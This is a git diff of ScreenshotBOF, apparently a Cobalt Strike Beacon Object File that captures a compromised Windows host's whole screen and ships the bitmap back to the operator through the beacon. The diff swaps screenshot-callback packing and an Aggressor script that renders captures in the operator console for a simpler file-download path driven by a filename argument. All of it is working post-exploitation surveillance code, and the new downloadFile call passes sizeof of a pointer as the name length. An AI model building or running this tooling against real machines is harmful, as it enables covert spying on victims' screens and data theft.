diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index f42928a..ad212e0 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -5,80 +5,8 @@ #pragma comment(lib, "User32.lib") #pragma comment(lib, "Gdi32.lib") -/*Download Screenshot*/ -void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { -// Function modified by @BinaryFaultline - -// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs -// Special thanks to CCob doing the research around the BeaconOutput options, making this much easier for me. - -// private void WriteSessionUserNameTitle(BinaryWriter bw, int session, string userName, string title) { -// bw.Write(session); -// bw.Write(title.Length); -// bw.Write(Encoding.UTF8.GetBytes(title)); -// bw.Write(userName.Length); -// bw.Write(Encoding.UTF8.GetBytes(userName)); -// } - -// var screenshotCallback = new BinaryWriter(new MemoryStream()); -// screenshotCallback.Write(jpgData.Length); -// screenshotCallback.Write(jpgData); -// WriteSessionUserNameTitle(screenshotCallback, session, userName, title); - int messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen; - char* packedData = (char*)MSVCRT$malloc(messageLength); - - // //pack on jpgLen/fileSize as 4-byte int second - packedData[0] = jpgLen & 0xFF; - packedData[1] = (jpgLen >> 8) & 0xFF; - packedData[2] = (jpgLen >> 16) & 0xFF; - packedData[3] = (jpgLen >> 24) & 0xFF; - - int packedIndex = 4; - - // //pack on the bytes of jpg/returnData - for (int i = 0; i < jpgLen; i++) { - packedData[packedIndex] = jpg[i]; - packedIndex++; - } - - //pack on session as 4-byte int first - packedData[packedIndex] = session & 0xFF; - packedData[packedIndex + 1] = (session >> 8) & 0xFF; - packedData[packedIndex + 2] = (session >> 16) & 0xFF; - packedData[packedIndex + 3] = (session >> 24) & 0xFF; - - //pack on titleLength as 4-byte int second - packedData[packedIndex + 4] = titleLen & 0xFF; - packedData[packedIndex + 5] = (titleLen >> 8) & 0xFF; - packedData[packedIndex + 6] = (titleLen >> 16) & 0xFF; - packedData[packedIndex + 7] = (titleLen >> 24) & 0xFF; - - packedIndex += 8; - - //pack on the bytes of title - for (int i = 0; i < titleLen; i++) { - packedData[packedIndex] = windowTitle[i]; - packedIndex++; - } - - //pack on userLength as 4-byte int second - packedData[packedIndex] = usernameLen & 0xFF; - packedData[packedIndex + 1] = (usernameLen >> 8) & 0xFF; - packedData[packedIndex + 2] = (usernameLen >> 16) & 0xFF; - packedData[packedIndex + 3] = (usernameLen >> 24) & 0xFF; - - packedIndex += 4; - - //pack on the bytes of user - for (int i = 0; i < usernameLen; i++) { - packedData[packedIndex] = username[i]; - packedIndex++; - } - - BeaconOutput(CALLBACK_SCREENSHOT, packedData, messageLength); - return; -} - +char downloadfilename[] = "screenshot.bmp"; +/*Download File*/ void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) { //Intializes random number generator to create fileId @@ -224,7 +152,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { #pragma endregion -BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile) +BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName) { HDC hDC; int iBits; @@ -299,30 +227,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile) memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); - // The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those - // Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded - DWORD session = -1; - KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session); - char* user; - user = (char*)getenv("USERNAME"); - char title[] = "Right-click this and \"Render BMP\" to view"; - char fileName[] = "ScreenshotBOF - Downloaded BMP.bmp"; - - int userLength = MSVCRT$_snprintf(NULL,0,"%s",user); - int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title); - int fileNameLength = MSVCRT$_snprintf(NULL,0,"%s",fileName); - - - // If the profile is get-only (termination in post client is URI based), download it as a screenshot, otherwise, download it as a file - - if (getOnlyProfile > 0){ - BeaconPrintf(0x0, "[+] URI post profile detected. Saving bitmap screenshot to Screenshots tab. Note, this takes a little while..."); - downloadScreenshot((char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength); - } else { - BeaconPrintf(0x0, "[+] Post body profile detected. Saving bitmap screenshot to Downloads tab..."); - downloadFile((char*)fileName, fileNameLength, (char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize); - } - //downloadScreenshot((char *)bmp_bmp, bmp_bmp_len, session,(char*)title, titleLength, (char*)user, userLength); + downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize)); //WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL); /* clean up */ @@ -335,9 +240,10 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile) #ifdef BOF void go(char* buff, int len) { datap parser; - int getOnlyProfile; + char * downloadfilename; BeaconDataParse(&parser, buff, len); - getOnlyProfile = BeaconDataInt(&parser); + downloadfilename = BeaconDataExtract(&parser, NULL); + BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename); int x1, y1, x2, y2, w, h; // get screen dimensions x1 = GetSystemMetrics(SM_XVIRTUALSCREEN); @@ -364,9 +270,11 @@ void go(char* buff, int len) { CloseClipboard(); */ - - SaveHBITMAPToFile(hBitmap, getOnlyProfile); - BeaconPrintf(0x0, "[+] Screenshot downloaded..."); + BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap..."); + LPCSTR filename = (LPCSTR)downloadfilename; + SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename); + + //BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename); // clean up SelectObject(hDC, old_obj); DeleteDC(hDC); diff --git a/ScreenshotBOF/beacon.h b/ScreenshotBOF/beacon.h index d49833e..bfcf21f 100644 --- a/ScreenshotBOF/beacon.h +++ b/ScreenshotBOF/beacon.h @@ -47,7 +47,6 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); #define CALLBACK_FILE 0x02 #define CALLBACK_FILE_WRITE 0x08 #define CALLBACK_FILE_CLOSE 0x09 -#define CALLBACK_SCREENSHOT 0x03 DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); diff --git a/ScreenshotBOF/bofdefs.h b/ScreenshotBOF/bofdefs.h index c55419b..c0517b7 100644 --- a/ScreenshotBOF/bofdefs.h +++ b/ScreenshotBOF/bofdefs.h @@ -231,10 +231,6 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFe DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer); -DECLSPEC_IMPORT char* WINAPI MSVCRT$getenv(const char *varname); -DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId(); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessId, DWORD *pSessionId); - @@ -362,11 +358,6 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessId, DW #define GetUserNameW ADVAPI32$GetUserNameW #define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent - -#define getenv MSVCRT$getenv -#define GetCurrentProcessId KERNEL32$GetCurrentProcessId -#define ProcessIdToSession KERNEL32$ProcessIdToSessionId - #else #endif diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj old mode 100755 new mode 100644 index f9c6012..c069e07 Binary files a/bin/BOF/ScreenshotBOF.x64.obj and b/bin/BOF/ScreenshotBOF.x64.obj differ diff --git a/bin/BOF/ScreenshotBOF.x86.obj b/bin/BOF/ScreenshotBOF.x86.obj old mode 100755 new mode 100644 index d458c95..8b2d2fe Binary files a/bin/BOF/ScreenshotBOF.x86.obj and b/bin/BOF/ScreenshotBOF.x86.obj differ diff --git a/bin/BOF/screenshotBOF.cna b/bin/BOF/screenshotBOF.cna index 0e1f137..bb9bbbc 100644 --- a/bin/BOF/screenshotBOF.cna +++ b/bin/BOF/screenshotBOF.cna @@ -1,166 +1,3 @@ -import javax.imageio.ImageIO; -import java.awt.*; -import javax.swing.JLabel; -import javax.swing.ImageIcon; -import java.io.ByteArrayInputStream; - -# This function takes in a screenshot and creates a JLabel to display the screenshot -sub display_image { - local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name'); - $screenshot = $1; - $screenshot_bytes = $screenshot['data']; - $bid = $screenshot['bid']; - $user = $screenshot['user']; - $computer = beacon_info($bid, 'computer'); - - $client = getAggressorClient(); - $MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth]; - $MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight]; - - $bais = [new ByteArrayInputStream: $screenshot_bytes]; - $image = [ImageIO read: $bais]; - - $width = [$image getWidth]; - $height = [$image getHeight]; - - $icon = [new ImageIcon: $image]; - if ($width > $MAX_IMAGE_WIDTH) { - $width = $MAX_IMAGE_WIDTH; - } - if ($height > $MAX_IMAGE_HEIGHT) { - $height = $MAX_IMAGE_HEIGHT; - } - $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; - - $component = [new JLabel: $scaledIcon]; - $tab_name = "ScreenshotBOF - $user\@$computer"; - addTab($tab_name, $component, "..."); - -} - -# This function takes in a screenshot and creates a JLabel to display the screenshot -sub display_downloaded { - local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name'); - - $screenshot_bytes = $1; - $file_name = $2; - - $client = getAggressorClient(); - $MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth]; - $MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight]; - - $bais = [new ByteArrayInputStream: $screenshot_bytes]; - $image = [ImageIO read: $bais]; - - $width = [$image getWidth]; - $height = [$image getHeight]; - - $icon = [new ImageIcon: $image]; - if ($width > $MAX_IMAGE_WIDTH) { - $width = $MAX_IMAGE_WIDTH; - } - if ($height > $MAX_IMAGE_HEIGHT) { - $height = $MAX_IMAGE_HEIGHT; - } - $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; - - $component = [new JLabel: $scaledIcon]; - $tab_name = "ScreenshotBOF - $file_name"; - addTab($tab_name, $component, "..."); - -} - -# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab -on screenshots { - local('$screenshot $data'); - - $screenshot = $1; - $data = $screenshot['data']; - - # Check the magic header of the data to see if it's a BMP - if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { - display_image($screenshot); - } -} - -popup_clear("downloads"); -popup downloads { - # do nothing if nothing is selected - if (size($1) == 0) { - return; - } - - item "Interact" { - openOrActivate($1[0]["bid"]); - } - - menu "&Color" { - local('$ids'); - $ids = map({ return $1["id"]; }, $1); - insert_component(colorPanel("accents", $ids)); - } - - item "Render &BMP" { - local('$download $lpath $name $count'); - foreach $count => $download ($1) { - ($lpath, $name) = values($download, @("lpath", "name")); - - sync_download($lpath, script_resource("file $+ .$count"), lambda({ - $handle = openf($1); - $data = readb($handle, -1); - closef($handle); - #println(charAt($data, 0)); - #println(charAt($data, 1)); - if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { - display_downloaded($data, $1); - } else { - show_error("File is not a Bitmap image"); - } - deleteFile($1); - }, \$name)); - } - } -} - -popup_clear("screenshots"); -popup screenshots { - item "&Interact" { - openOrActivate($1["bid"]); - } - - menu "&Color" { - insert_component(colorPanel("accents", $1["id"])); - } - - item "&Save" { - prompt_file_save($1["id"] . ".jpg", lambda({ - local('$handle'); - $handle = openf("> $+ $1"); - writeb($handle, $data); - closef($handle); - - show_message("Screenshot saved."); - }, $data => $1["object"]["data"])); - } - - separator(); - - item "&Remove" { - redactobject($1["id"]); - } - - item "Render &BMP" { - $data = $1["object"]['data']; - - # Check the magic header of the data to see if it's a BMP - if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { - display_image($1["object"]); - } else { - show_error("Image is not a Bitmap. It should render in Screenshots tab."); - } - } -} - #Register command beacon_command_register( "screenshot_bof", @@ -169,24 +6,23 @@ beacon_command_register( ); alias screenshot_bof { - local('$bid $barch $handle $data $args $target_pid'); - $bid = $1; + local('$barch $handle $data $args $target_pid'); + if (size(@_) != 2) + { + berror($1, "Please specify a filename. e.g. screenshot_bof screen.bmp"); + return; + } # figure out the arch of this session - $barch = barch($bid); + $barch = barch($1); # read in the right BOF file $handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj")); $data = readb($handle, -1); closef($handle); - # figure out if the profile chooses to chunk the post or not (getOnlyProfile) - $profile = data_query("metadata")["c2profile"]; - $getOnlyProfile = [$profile shouldChunkPosts]; - println($getOnlyProfile); - - $args = bof_pack($bid, "i", $getOnlyProfile); - + $args = bof_pack($1, "z",$2); + # announce what we're doing - btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113"); + btask($1, "Running screenshot BOF by (@codex_tf2)"); # execute it. - beacon_inline_execute($bid, $data, "go", $args); + beacon_inline_execute($1, $data, "go", $args); } diff --git a/bin/screenshotBOF.zip b/bin/screenshotBOF.zip new file mode 100644 index 0000000..47aff69 Binary files /dev/null and b/bin/screenshotBOF.zip differ